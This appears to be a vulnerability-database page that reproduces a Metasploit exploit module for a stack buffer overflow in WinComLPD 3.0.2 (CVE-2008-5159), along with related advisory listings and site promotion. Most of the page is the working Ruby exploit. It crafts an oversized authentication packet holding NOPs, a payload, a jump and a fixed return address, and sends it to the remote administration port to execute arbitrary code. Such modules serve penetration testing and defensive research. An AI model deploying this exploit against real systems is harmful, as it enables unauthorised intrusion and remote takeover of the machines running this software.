Lucene search
K

WinComLPD Buffer Overflow

🗓️ 07 Feb 2008 23:08:14Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 17 Views

WinComLPD Buffer Overflow exploitation via stack buffer overflow in WinComLPD <= 3.0.2, allowing remote code execution

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-5159
22 Jun 201000:00
circl
CVE
CVE-2008-5159
18 Nov 200821:00
cve
Cvelist
CVE-2008-5159
18 Nov 200821:00
cvelist
Exploit DB
WinComLPD 3.0.2 - Remote Buffer Overflow (Metasploit)
22 Jun 201000:00
exploitdb
NVD
CVE-2008-5159
18 Nov 200821:30
nvd
OpenVAS
WinComLPD Total Multiple Vulnerabilities
26 Nov 200800:00
openvas
OpenVAS
WinComLPD Total Multiple Vulnerabilities
26 Nov 200800:00
openvas
Packet Storm
WinComLPD <= 3.0.2 Buffer Overflow
26 Nov 200900:00
packetstorm
Prion
Integer overflow
18 Nov 200821:30
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WinComLPD Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
        By sending an overly long authentication packet to the remote
        administration service, an attacker may be able to execute arbitrary
        code.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2008-5159'],
          ['OSVDB', '42861'],
          ['BID', '27614'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x0a",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'WinComLPD 3.0.2.623',   { 'Ret' => 0x0047d7a7 } ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2008-02-04',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(13500)], self)
  end

  def exploit
    connect

    # 'net start lpdservice' after you migrate!
    sploit =  "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"
    sploit << make_nops(872 - payload.encoded.length)
    sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
    sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)
    sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)

    print_status("Trying target #{target.name}...")

    sock.puts(sploit)
    select(nil,nil,nil,5)

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation